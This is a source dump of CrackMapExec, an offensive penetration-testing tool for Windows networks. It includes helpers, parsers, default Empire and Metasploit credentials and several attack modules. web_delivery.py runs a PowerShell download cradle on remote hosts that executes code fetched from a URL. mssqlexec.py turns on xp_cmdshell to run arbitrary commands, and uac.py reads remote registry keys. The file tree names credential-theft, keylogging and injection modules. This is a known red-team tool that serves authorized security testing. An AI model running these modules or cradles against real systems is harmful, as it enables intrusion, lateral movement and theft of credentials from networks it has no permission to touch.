├── cme
├── helpers
│ ├── __init__.py
│ ├── bash.py
│ ├── logger.py
│ ├── http.py
│ └── misc.py
├── loaders
│ ├── __init__.py
│ ├── protocol_loader.py
│ └── module_loader.py
├── parsers
│ ├── __init__.py
│ ├── ip.py
│ ├── nmap.py
│ └── nessus.py
├── servers
│ ├── __init__.py
│ ├── smb.py
│ └── http.py
├── protocols
│ ├── __init__.py
│ ├── http
│ │ ├── __init__.py
│ │ ├── db_navigator.py
│ │ └── database.py
│ ├── mssql
│ │ ├── __init__.py
│ │ ├── mssqlexec.py
│ │ ├── db_navigator.py
│ │ └── database.py
│ ├── smb
│ │ ├── __init__.py
│ │ ├── remotefile.py
│ │ ├── wmiexec.py
│ │ ├── smbexec.py
│ │ ├── atexec.py
│ │ └── mmcexec.py
│ ├── ssh
│ │ ├── __init__.py
│ │ ├── db_navigator.py
│ │ └── database.py
│ ├── winrm
│ │ ├── __init__.py
│ │ ├── db_navigator.py
│ │ └── database.py
│ ├── ssh.py
│ ├── http.py
│ └── winrm.py
├── data
│ ├── cme.conf
│ └── videos_for_darrell.harambe
├── __init__.py
├── context.py
├── modules
│ ├── test_connection.py
│ ├── enum_avproducts.py
│ ├── uac.py
│ ├── example_module.py
│ ├── web_delivery.py
│ ├── mimipenguin.py
│ ├── multirdp.py
│ ├── mimikittenz.py
│ ├── gpp_autologin.py
│ ├── invoke_vnc.py
│ ├── enum_chrome.py
│ ├── get_netrdpsession.py
│ ├── enum_dns.py
│ ├── slinky.py
│ ├── empire_exec.py
│ ├── scuffy.py
│ ├── shellcode_inject.py
│ ├── invoke_sessiongopher.py
│ ├── netripper.py
│ ├── rdp.py
│ ├── pe_inject.py
│ ├── met_inject.py
│ ├── get_timedscreenshot.py
│ ├── get_netdomaincontroller.py
│ ├── wdigest.py
│ ├── mimikatz_enum_vault_creds.py
│ ├── tokens.py
│ ├── gpp_password.py
│ ├── get_keystrokes.py
│ ├── mimikatz_enum_chrome.py
│ └── bloodhound.py
├── msfrpc.py
├── first_run.py
├── cli.py
└── logger.py
├── setup.cfg
├── Makefile
├── .github
└── ISSUE_TEMPLATE.md
├── Pipfile
├── .gitignore
├── MANIFEST.in
├── LICENSE
├── setup.py
├── .gitmodules
├── README.rst
└── README.md
/cme/helpers/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/cme/loaders/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/cme/parsers/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/cme/servers/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/cme/protocols/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/cme/protocols/http/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/cme/protocols/mssql/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/cme/protocols/smb/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/cme/protocols/ssh/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/cme/protocols/winrm/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/setup.cfg:
--------------------------------------------------------------------------------
1 | [metadata]
2 | description-file = README.rst
3 |
--------------------------------------------------------------------------------
/cme/protocols/ssh/db_navigator.py:
--------------------------------------------------------------------------------
1 | from cme.cmedb import DatabaseNavigator
2 |
3 |
4 | class navigator(DatabaseNavigator):
5 | pass
6 |
--------------------------------------------------------------------------------
/cme/protocols/winrm/db_navigator.py:
--------------------------------------------------------------------------------
1 | from cme.cmedb import DatabaseNavigator
2 |
3 |
4 | class navigator(DatabaseNavigator):
5 | pass
6 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | clean:
2 | rm -f -r build/
3 | rm -f -r dist/
4 | rm -f -r *.egg-info
5 | find . -name '*.pyc' -exec rm -f {} +
6 | find . -name '*.pyo' -exec rm -f {} +
7 | find . -name '*~' -exec rm -f {} +
--------------------------------------------------------------------------------
/cme/helpers/bash.py:
--------------------------------------------------------------------------------
1 | import os
2 | import cme
3 |
4 | def get_script(path):
5 | with open(os.path.join(os.path.dirname(cme.__file__), 'data', path), 'r') as script:
6 | return script.read()
7 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE.md:
--------------------------------------------------------------------------------
1 | ## Steps to reproduce
2 |
3 | 1. ...
4 | 2. ...
5 |
6 | ## Command string used
7 |
8 | ## CME verbose output (using the --verbose flag)
9 |
10 | ## CME Version (cme --version)
11 |
12 | ## OS
13 |
14 | ## Target OS
15 |
16 | ## Detailed issue explanation
17 |
--------------------------------------------------------------------------------
/cme/data/cme.conf:
--------------------------------------------------------------------------------
1 | [CME]
2 | workspace=default
3 | last_used_db=
4 | pwn3d_label=Pwn3d!
5 |
6 | [Empire]
7 | api_host=127.0.0.1
8 | api_port=1337
9 | username=empireadmin
10 | password=Password123!
11 |
12 | [Metasploit]
13 | rpc_host=127.0.0.1
14 | rpc_port=55552
15 | password=abc123
16 |
--------------------------------------------------------------------------------
/cme/__init__.py:
--------------------------------------------------------------------------------
1 | from gevent import monkey
2 | import sys
3 | import os
4 | import cme
5 |
6 | monkey.patch_all()
7 |
8 | thirdparty_modules = os.path.join(os.path.dirname(cme.__file__), 'thirdparty')
9 |
10 | for module in os.listdir(thirdparty_modules):
11 | sys.path.insert(0, os.path.join(thirdparty_modules, module))
12 |
--------------------------------------------------------------------------------
/cme/helpers/logger.py:
--------------------------------------------------------------------------------
1 | import os
2 | import random
3 | from termcolor import colored
4 |
5 | def write_log(data, log_name):
6 | logs_dir = os.path.join(os.path.expanduser('~/.cme'), 'logs')
7 | with open(os.path.join(logs_dir, log_name), 'w') as log_output:
8 | log_output.write(data)
9 |
10 | def highlight(text, color='yellow'):
11 | if color == 'yellow':
12 | return u'{}'.format(colored(text, 'yellow', attrs=['bold']))
13 | elif color == 'red':
14 | return u'{}'.format(colored(text, 'red', attrs=['bold']))
15 |
--------------------------------------------------------------------------------
/Pipfile:
--------------------------------------------------------------------------------
1 | [[source]]
2 |
3 | url = "https://pypi.python.org/simple"
4 | verify_ssl = true
5 | name = "pypi"
6 |
7 |
8 | [packages]
9 |
10 | pycrypto = ">=2.6"
11 | "pyasn1" = ">=0.1.8"
12 | gevent = ">=1.2.0"
13 | requests = ">=2.9.1"
14 | "bs4" = "*"
15 | netaddr = "*"
16 | pyopenssl = "*"
17 | termcolor = "*"
18 | msgpack-python = "*"
19 | pylnk = "*"
20 | splinter = "*"
21 | paramiko = "*"
22 | xmltodict = "*"
23 | six = "*"
24 | requests-ntlm = ">=0.3.0"
25 | terminaltables = "*"
26 |
27 |
28 | [dev-packages]
29 |
30 |
31 |
32 | [requires]
33 |
34 | python_version = "2.7"
--------------------------------------------------------------------------------
/cme/protocols/winrm/database.py:
--------------------------------------------------------------------------------
1 | class database:
2 |
3 | def __init__(self, conn):
4 | self.conn = conn
5 |
6 | @staticmethod
7 | def db_schema(db_conn):
8 | db_conn.execute('''CREATE TABLE "credentials" (
9 | "id" integer PRIMARY KEY,
10 | "username" text,
11 | "password" text
12 | )''')
13 |
14 | db_conn.execute('''CREATE TABLE "hosts" (
15 | "id" integer PRIMARY KEY,
16 | "ip" text,
17 | "hostname" text,
18 | "port" integer
19 | )''')
20 |
--------------------------------------------------------------------------------
/cme/context.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import os
3 | from ConfigParser import ConfigParser
4 |
5 | class Context:
6 |
7 | def __init__(self, db, logger, args):
8 | self.db = db
9 | self.log = logger
10 | self.log.debug = logging.debug
11 | self.log_folder_path = os.path.join(os.path.expanduser('~/.cme'), 'logs')
12 | self.localip = None
13 |
14 | self.conf = ConfigParser()
15 | self.conf.read(os.path.expanduser('~/.cme/cme.conf'))
16 |
17 | for key, value in vars(args).iteritems():
18 | setattr(self, key, value)
19 |
--------------------------------------------------------------------------------
/cme/protocols/ssh/database.py:
--------------------------------------------------------------------------------
1 | class database:
2 |
3 | def __init__(self, conn):
4 | self.conn = conn
5 |
6 | @staticmethod
7 | def db_schema(db_conn):
8 | db_conn.execute('''CREATE TABLE "credentials" (
9 | "id" integer PRIMARY KEY,
10 | "username" text,
11 | "password" text,
12 | "pkey" text
13 | )''')
14 |
15 | db_conn.execute('''CREATE TABLE "hosts" (
16 | "id" integer PRIMARY KEY,
17 | "ip" text,
18 | "hostname" text,
19 | "port" integer,
20 | "server_banner" text
21 | )''')
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | data/cme.db
2 | *.log
3 | .venv
4 | # Byte-compiled / optimized / DLL files
5 | __pycache__/
6 | *.py[cod]
7 |
8 | # C extensions
9 | *.so
10 |
11 | # Distribution / packaging
12 | .Python
13 | env/
14 | build/
15 | develop-eggs/
16 | dist/
17 | downloads/
18 | eggs/
19 | .eggs/
20 | lib/
21 | lib64/
22 | parts/
23 | sdist/
24 | var/
25 | *.egg-info/
26 | .installed.cfg
27 | *.egg
28 |
29 | # PyInstaller
30 | # Usually these files are written by a python script from a template
31 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
32 | *.manifest
33 | *.spec
34 |
35 | # Installer logs
36 | pip-log.txt
37 | pip-delete-this-directory.txt
38 |
39 | # Unit test / coverage reports
40 | htmlcov/
41 | .tox/
42 | .coverage
43 | .coverage.*
44 | .cache
45 | nosetests.xml
46 | coverage.xml
47 | *,cover
48 |
49 | # Translations
50 | *.mo
51 | *.pot
52 |
53 | # Django stuff:
54 | *.log
55 |
56 | # Sphinx documentation
57 | docs/_build/
58 |
59 | # PyBuilder
60 | target/
61 |
--------------------------------------------------------------------------------
/cme/parsers/ip.py:
--------------------------------------------------------------------------------
1 | from netaddr import IPAddress, IPRange, IPNetwork, AddrFormatError
2 |
3 | def parse_targets(target):
4 | if '-' in target:
5 | ip_range = target.split('-')
6 | try:
7 | hosts = IPRange(ip_range[0], ip_range[1])
8 | except AddrFormatError:
9 | try:
10 | start_ip = IPAddress(ip_range[0])
11 |
12 | start_ip_words = list(start_ip.words)
13 | start_ip_words[-1] = ip_range[1]
14 | start_ip_words = [str(v) for v in start_ip_words]
15 |
16 | end_ip = IPAddress('.'.join(start_ip_words))
17 |
18 | t = IPRange(start_ip, end_ip)
19 | except AddrFormatError:
20 | t = target
21 | else:
22 | try:
23 | t = IPNetwork(target)
24 | except AddrFormatError:
25 | t = target
26 |
27 | if type(t) == IPNetwork or type(t) == IPRange:
28 | return list(t)
29 | else:
30 | return [t.strip()]
31 |
--------------------------------------------------------------------------------
/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include README.md
2 | include README.rst
3 | include LICENSE
4 | recursive-include cme/data *
5 | recursive-include cme/modules *
6 | recursive-include cme/thirdparty *
7 | prune cme/thirdparty/impacket/impacket/testcases
8 | prune cme/thirdparty/impacket/examples
9 | prune cme/thirdparty/pywinrm/winrm/tests
10 | prune cme/thirdparty/pywinrm/scripts
11 | prune cme/data/powersploit/Tests
12 | prune cme/data/powersploit/CodeExecution/Invoke-ReflectivePEInjection_Resources
13 | prune cme/data/powersploit/Exfiltration/LogonUser
14 | prune cme/data/powersploit/Exfiltration/NTFSParser
15 | prune cme/data/powersploit/Recon/Dictionaries
16 | prune cme/data/invoke-vnc/vncdll
17 | prune cme/data/invoke-vnc/winvnc
18 | prune cme/data/invoke-vnc/ReflectiveDLLInjection
19 | recursive-exclude cme/data/invoke-vnc *.py *.bat *.msbuild *.sln pebytes.ps1
20 | prune cme/data/netripper/DLL
21 | prune cme/data/netripper/Metasploit
22 | prune cme/data/netripper/NetRipper
23 | prune cme/data/netripper/Release
24 | prune cme/data/netripper/Win32
25 | prune cme/data/netripper/minhook
26 | prune cme/data/netripper/x64
27 | recursive-exclude cme/data/netripper *.pdf *.sln
--------------------------------------------------------------------------------
/cme/modules/test_connection.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import create_ps_command
2 | from sys import exit
3 |
4 | class CMEModule:
5 | '''
6 | Executes the Test-Connection PowerShell cmdlet
7 | Module by @byt3bl33d3r
8 | '''
9 |
10 | name = 'test_connection'
11 | description = "Pings a host"
12 | supported_protocols = ['smb', 'mssql']
13 | opsec_safe = True
14 | multiple_hosts = True
15 |
16 | def options(self, context, module_options):
17 | '''
18 | HOST Host to ping
19 | '''
20 | self.host = None
21 |
22 | if 'HOST' not in module_options:
23 | context.log.error('HOST option is required!')
24 | exit(1)
25 |
26 | self.host = module_options['HOST']
27 |
28 | def on_admin_login(self, context, connection):
29 | command = 'Test-Connection {} -quiet -count 1'.format(self.host)
30 |
31 | output = connection.ps_execute(command, get_output=True)
32 |
33 | if output:
34 | output = output.strip()
35 | if bool(output) is True:
36 | context.log.success('Pinged successfully')
37 | elif bool(output) is False:
38 | context.log.error('Host unreachable')
39 |
--------------------------------------------------------------------------------
/cme/modules/enum_avproducts.py:
--------------------------------------------------------------------------------
1 | class CMEModule:
2 | '''
3 | Uses WMI to gather information on all endpoint protection solutions installed on the the remote host(s)
4 | Module by @byt3bl33d3r
5 |
6 | '''
7 |
8 | name = 'enum_avproducts'
9 | description = 'Gathers information on all endpoint protection solutions installed on the the remote host(s) via WMI'
10 | supported_protocols = ['smb']
11 | opsec_safe= True
12 | multiple_hosts = True
13 |
14 | def options(self, context, module_options):
15 | pass
16 |
17 | def on_admin_login(self, context, connection):
18 | output = connection.wmi('Select * From AntiSpywareProduct', 'root\\SecurityCenter2')
19 | if output:
20 | context.log.success('Found Anti-Spyware product:')
21 | for entry in output:
22 | for k,v in entry.iteritems():
23 | context.log.highlight('{} => {}'.format(k,v['value']))
24 |
25 | output = connection.wmi('Select * from AntiVirusProduct', 'root\\SecurityCenter2')
26 | if output:
27 | context.log.success('Found Anti-Virus product:')
28 | for entry in output:
29 | for k,v in entry.iteritems():
30 | context.log.highlight('{} => {}'.format(k,v['value']))
--------------------------------------------------------------------------------
/cme/modules/uac.py:
--------------------------------------------------------------------------------
1 | from impacket.dcerpc.v5.rpcrt import DCERPCException
2 | from impacket.dcerpc.v5 import rrp
3 | from impacket.examples.secretsdump import RemoteOperations
4 |
5 | class CMEModule:
6 |
7 | name = 'uac'
8 | description = "Checks UAC status"
9 | supported_protocols = ['smb']
10 | opsec_safe = True
11 | multiple_hosts = True
12 |
13 | def options(self, context, module_options):
14 | '''
15 | '''
16 |
17 | def on_admin_login(self, context, connection):
18 | remoteOps = RemoteOperations(connection.conn, False)
19 | remoteOps.enableRegistry()
20 |
21 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
22 | regHandle = ans['phKey']
23 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System')
24 | keyHandle = ans['phkResult']
25 | dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')
26 |
27 | if uac_value == 1:
28 | context.log.highlight('UAC Status: 1 (UAC Enabled)')
29 | elif uac_value == 0:
30 | context.log.highlight('UAC Status: 0 (UAC Disabled)')
31 |
32 | rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
33 | remoteOps.finish()
34 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2015, byt3bl33d3r
2 | All rights reserved.
3 |
4 | Redistribution and use in source and binary forms, with or without
5 | modification, are permitted provided that the following conditions are met:
6 |
7 | * Redistributions of source code must retain the above copyright notice, this
8 | list of conditions and the following disclaimer.
9 |
10 | * Redistributions in binary form must reproduce the above copyright notice,
11 | this list of conditions and the following disclaimer in the documentation
12 | and/or other materials provided with the distribution.
13 |
14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
15 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
18 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
20 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
21 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
22 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
23 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
24 |
25 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | from setuptools import setup, find_packages
2 |
3 | setup(name='crackmapexec',
4 | version='4.0.1dev',
5 | description='A swiss army knife for pentesting networks',
6 | classifiers=[
7 | 'Environment :: Console',
8 | 'License :: OSI Approved :: BSD License',
9 | 'Programming Language :: Python :: 2.7',
10 | 'Topic :: Security',
11 | ],
12 | keywords='pentesting security windows active-directory networks',
13 | url='http://github.com/byt3bl33d3r/CrackMapExec',
14 | author='byt3bl33d3r',
15 | author_email='byt3bl33d3r@protonmail.com',
16 | license='BSD',
17 | packages=find_packages(include=[
18 | "cme", "cme.*"
19 | ]),
20 | install_requires=[
21 | 'pycrypto>=2.6',
22 | 'pyasn1>=0.1.8',
23 | 'gevent>=1.2.0',
24 | 'requests>=2.9.1',
25 | 'requests-ntlm>=0.3.0',
26 | 'bs4',
27 | 'netaddr',
28 | 'pyOpenSSL',
29 | 'termcolor',
30 | 'msgpack-python',
31 | 'pylnk',
32 | 'splinter',
33 | 'paramiko',
34 | 'xmltodict',
35 | 'six',
36 | 'terminaltables'
37 | ],
38 | entry_points={
39 | 'console_scripts': ['crackmapexec=cme.crackmapexec:main', 'cme=cme.crackmapexec:main', 'cmedb=cme.cmedb:main'],
40 | },
41 | include_package_data=True,
42 | zip_safe=False)
43 |
--------------------------------------------------------------------------------
/cme/data/videos_for_darrell.harambe:
--------------------------------------------------------------------------------
1 | https://www.youtube.com/watch?v=dQw4w9WgXcQ
2 | https://www.youtube.com/watch?v=l12Csc_lW0Q
3 | https://www.youtube.com/watch?v=wBqM2ytqHY4
4 | https://www.youtube.com/watch?v=N1zL13LvxS8
5 | https://imgur.com/gallery/s1hLouN
6 | https://www.youtube.com/watch?v=Tay791Nprx0
7 | https://www.youtube.com/watch?v=rOGbMwXnlQM
8 | https://www.youtube.com/watch?v=mv8mV5X0MR8
9 | https://www.youtube.com/watch?v=nH2gUPTFCfo
10 | https://www.youtube.com/watch?v=zzfQwXEqYaI
11 | https://www.youtube.com/watch?v=yuwprXAaSv0
12 | https://i.imgur.com/aTr6Afr.gifv
13 | https://www.youtube.com/watch?v=SZoiJM1vlfc
14 | https://www.youtube.com/watch?v=IvDeXaiBy3I
15 | https://www.youtube.com/watch?v=G0cqV3h-aDA
16 | https://www.youtube.com/watch?v=q6yHoSvrTss
17 | https://www.youtube.com/watch?v=jnHFYTjk4MQ
18 | https://www.youtube.com/watch?v=tVj0ZTS4WF4
19 | https://www.youtube.com/watch?v=q6EoRBvdVPQ
20 | https://www.youtube.com/watch?v=Sagg08DrO5U
21 | https://www.youtube.com/watch?v=z9Uz1icjwrM
22 | https://www.youtube.com/watch?v=FavUpD_IjVY
23 | https://www.youtube.com/watch?v=jX3iLfcMDCw
24 | https://www.youtube.com/watch?v=i8ju_10NkGY
25 | https://www.youtube.com/watch?v=6mMPhs6je8Y
26 | https://www.youtube.com/watch?v=CgmNoapY64E
27 | https://www.youtube.com/watch?v=lQCQ4nvn3Is
28 | https://www.youtube.com/watch?v=19N9pAF2qGo
29 | https://www.youtube.com/watch?v=PWmfNeLs7fA
30 |
--------------------------------------------------------------------------------
/cme/helpers/http.py:
--------------------------------------------------------------------------------
1 | import random
2 |
3 | def get_desktop_uagent(uagent=None):
4 |
5 | desktop_uagents = {
6 | "MSIE9.0" : "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
7 | "MSIE8.0" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)",
8 | "MSIE7.0" : "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
9 | "MSIE6.0" : "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
10 | "Chrome32" : "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
11 | "Chrome31" : "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36",
12 | "Firefox25": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0",
13 | "Firefox24": "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0,",
14 | "Safari5.1": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
15 | "Safari5.0": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16"
16 | }
17 |
18 | if not uagent:
19 | return desktop_uagents[random.choice(desktop_uagents.keys())]
20 | elif uagent:
21 | return desktop_uagents[uagent]
--------------------------------------------------------------------------------
/cme/protocols/mssql/mssqlexec.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 |
4 | class MSSQLEXEC:
5 |
6 | def __init__(self, connection):
7 | self.mssql_conn = connection
8 | self.outputBuffer = ''
9 |
10 | def execute(self, command, output=False):
11 | try:
12 | self.enable_xp_cmdshell()
13 | self.mssql_conn.sql_query("exec master..xp_cmdshell '{}'".format(command))
14 |
15 | if output:
16 | self.mssql_conn.printReplies()
17 | self.mssql_conn.colMeta[0]['TypeData'] = 80*2
18 | self.mssql_conn.printRows()
19 | self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
20 | if len(self.outputBuffer):
21 | self.outputBuffer = self.outputBuffer.split('\n', 2)[2]
22 |
23 | self.disable_xp_cmdshell()
24 | return self.outputBuffer
25 |
26 | except Exception as e:
27 | logging.debug('Error executing command via mssqlexec: {}'.format(e))
28 |
29 | def enable_xp_cmdshell(self):
30 | self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
31 |
32 | def disable_xp_cmdshell(self):
33 | self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
34 |
--------------------------------------------------------------------------------
/cme/parsers/nmap.py:
--------------------------------------------------------------------------------
1 | import xmltodict
2 |
3 | # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard
4 | protocol_dict = {
5 | 'smb': {'ports': [445, 139], 'services': ['netbios-ssn', 'microsoft-ds']},
6 | 'mssql': {'ports': [1433], 'services': ['ms-sql-s']},
7 | 'ssh': {'ports': [22], 'services': ['ssh']},
8 | 'winrm': {'ports': [5986, 5985], 'services': ['wsman']},
9 | 'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['http', 'ssl/https']}
10 | }
11 |
12 |
13 | def parse_nmap_xml(nmap_output_file, protocol):
14 | targets = []
15 |
16 | with open(nmap_output_file, 'r') as file_handle:
17 | scan_output = xmltodict.parse(file_handle.read())
18 |
19 | for host in scan_output['nmaprun']['host']:
20 | if host['address'][0]['@addrtype'] != 'ipv4':
21 | continue
22 |
23 | ip = host['address'][0]['@addr']
24 | for port in host['ports']['port']:
25 | if port['state']['@state'] == 'open':
26 | if 'service' in port and (port['service']['@name'] in protocol_dict[protocol]['services']):
27 | if ip not in targets:
28 | targets.append(ip)
29 | elif port['@portid'] in protocol_dict[protocol]['ports']:
30 | if ip not in targets:
31 | targets.append(ip)
32 |
33 | return targets
34 |
--------------------------------------------------------------------------------
/cme/loaders/protocol_loader.py:
--------------------------------------------------------------------------------
1 | import imp
2 | import os
3 | import sys
4 | import cme
5 |
6 | class protocol_loader:
7 |
8 | def __init__(self):
9 | self.cme_path = os.path.expanduser('~/.cme')
10 |
11 | def load_protocol(self, protocol_path):
12 | protocol = imp.load_source('protocol', protocol_path)
13 | #if self.module_is_sane(module, module_path):
14 | return protocol
15 |
16 | def get_protocols(self):
17 | protocols = {}
18 |
19 | protocol_paths = [os.path.join(os.path.dirname(cme.__file__), 'protocols'), os.path.join(self.cme_path, 'protocols')]
20 |
21 | for path in protocol_paths:
22 | for protocol in os.listdir(path):
23 | if protocol[-3:] == '.py' and protocol[:-3] != '__init__':
24 | protocol_path = os.path.join(path, protocol)
25 | protocol_name = protocol[:-3]
26 |
27 | protocols[protocol_name] = {'path' : protocol_path}
28 |
29 | db_file_path = os.path.join(path, protocol_name, 'database.py')
30 | db_nav_path = os.path.join(path, protocol_name, 'db_navigator.py')
31 | if os.path.exists(db_file_path):
32 | protocols[protocol_name]['dbpath'] = db_file_path
33 | if os.path.exists(db_nav_path):
34 | protocols[protocol_name]['nvpath'] = db_nav_path
35 |
36 | return protocols
37 |
--------------------------------------------------------------------------------
/cme/modules/example_module.py:
--------------------------------------------------------------------------------
1 | class CMEModule:
2 | '''
3 | Example
4 | Module by @yomama
5 |
6 | '''
7 | name = 'example module'
8 | description = 'I do something'
9 | supported_protocols = []
10 | opsec_safe= True #Does the module touch disk?
11 | multiple_hosts = True #Does it make sense to run this module on multiple hosts at a time?
12 |
13 | def options(self, context, module_options):
14 | '''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
15 | pass
16 |
17 | def on_login(self, context, connection):
18 | '''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
19 | pass
20 |
21 | def on_admin_login(self, context, connection):
22 | '''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges'''
23 | pass
24 |
25 | def on_request(self, context, request):
26 | '''Optional. If the payload needs to retrieve additonal files, add this function to the module'''
27 | pass
28 |
29 | def on_response(self, context, response):
30 | '''Optional. If the payload sends back its output to our server, add this function to the module to handle its output'''
31 | pass
32 |
33 | def on_shutdown(self, context, connection):
34 | '''Optional. Do something on shutdown'''
35 | pass
36 |
--------------------------------------------------------------------------------
/cme/modules/web_delivery.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from sys import exit
3 |
4 | class CMEModule:
5 | '''
6 | Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
7 | Reference: https://github.com/EmpireProject/Empire/blob/2.0_beta/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
8 |
9 | Module by @byt3bl33d3r
10 | '''
11 |
12 | name = 'web_delivery'
13 | description = 'Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module'
14 | supported_protocols = ['smb', 'mssql']
15 | opsec_safe = True
16 | multiple_hosts = True
17 |
18 | def options(self, context, module_options):
19 | '''
20 | URL URL for the download cradle
21 | '''
22 |
23 | if not 'URL' in module_options:
24 | context.log.error('URL option is required!')
25 | exit(1)
26 |
27 | self.url = module_options['URL']
28 |
29 | def on_admin_login(self, context, connection):
30 | ps_command = '''[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');'''.format(self.url)
31 | connection.ps_execute(ps_command, force_ps32=True)
32 | context.log.success('Executed web-delivery launcher')
33 |
--------------------------------------------------------------------------------
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "cme/data/invoke-vnc"]
2 | path = cme/data/invoke-vnc
3 | url = https://github.com/artkond/Invoke-Vnc
4 | [submodule "cme/data/mimikittenz"]
5 | path = cme/data/mimikittenz
6 | url = https://github.com/putterpanda/mimikittenz
7 | [submodule "cme/data/powersploit"]
8 | path = cme/data/powersploit
9 | url = https://github.com/PowerShellMafia/PowerSploit
10 | [submodule "cme/data/invoke-obfuscation"]
11 | path = cme/data/invoke-obfuscation
12 | url = https://github.com/danielbohannon/Invoke-Obfuscation
13 | [submodule "cme/data/netripper"]
14 | path = cme/data/netripper
15 | url = https://github.com/NytroRST/NetRipper
16 | [submodule "cme/data/randomps-scripts"]
17 | path = cme/data/randomps-scripts
18 | url = https://github.com/xorrior/RandomPS-Scripts
19 | [submodule "cme/thirdparty/pywerview_"]
20 | path = cme/thirdparty/pywerview
21 | url = https://github.com/the-useless-one/pywerview
22 | [submodule "cme/thirdparty/impacket_"]
23 | path = cme/thirdparty/impacket
24 | url = https://github.com/CoreSecurity/impacket
25 | [submodule "cme/data/cme_powershell_scripts"]
26 | path = cme/data/cme_powershell_scripts
27 | url = https://github.com/byt3bl33d3r/CME-PowerShell-Scripts
28 | [submodule "cme/data/sessiongopher"]
29 | path = cme/data/sessiongopher
30 | url = https://github.com/fireeye/SessionGopher
31 | [submodule "cme/data/mimipenguin"]
32 | path = cme/data/mimipenguin
33 | url = https://github.com/huntergregal/mimipenguin
34 | [submodule "cme/thirdparty/pywinrm"]
35 | path = cme/thirdparty/pywinrm
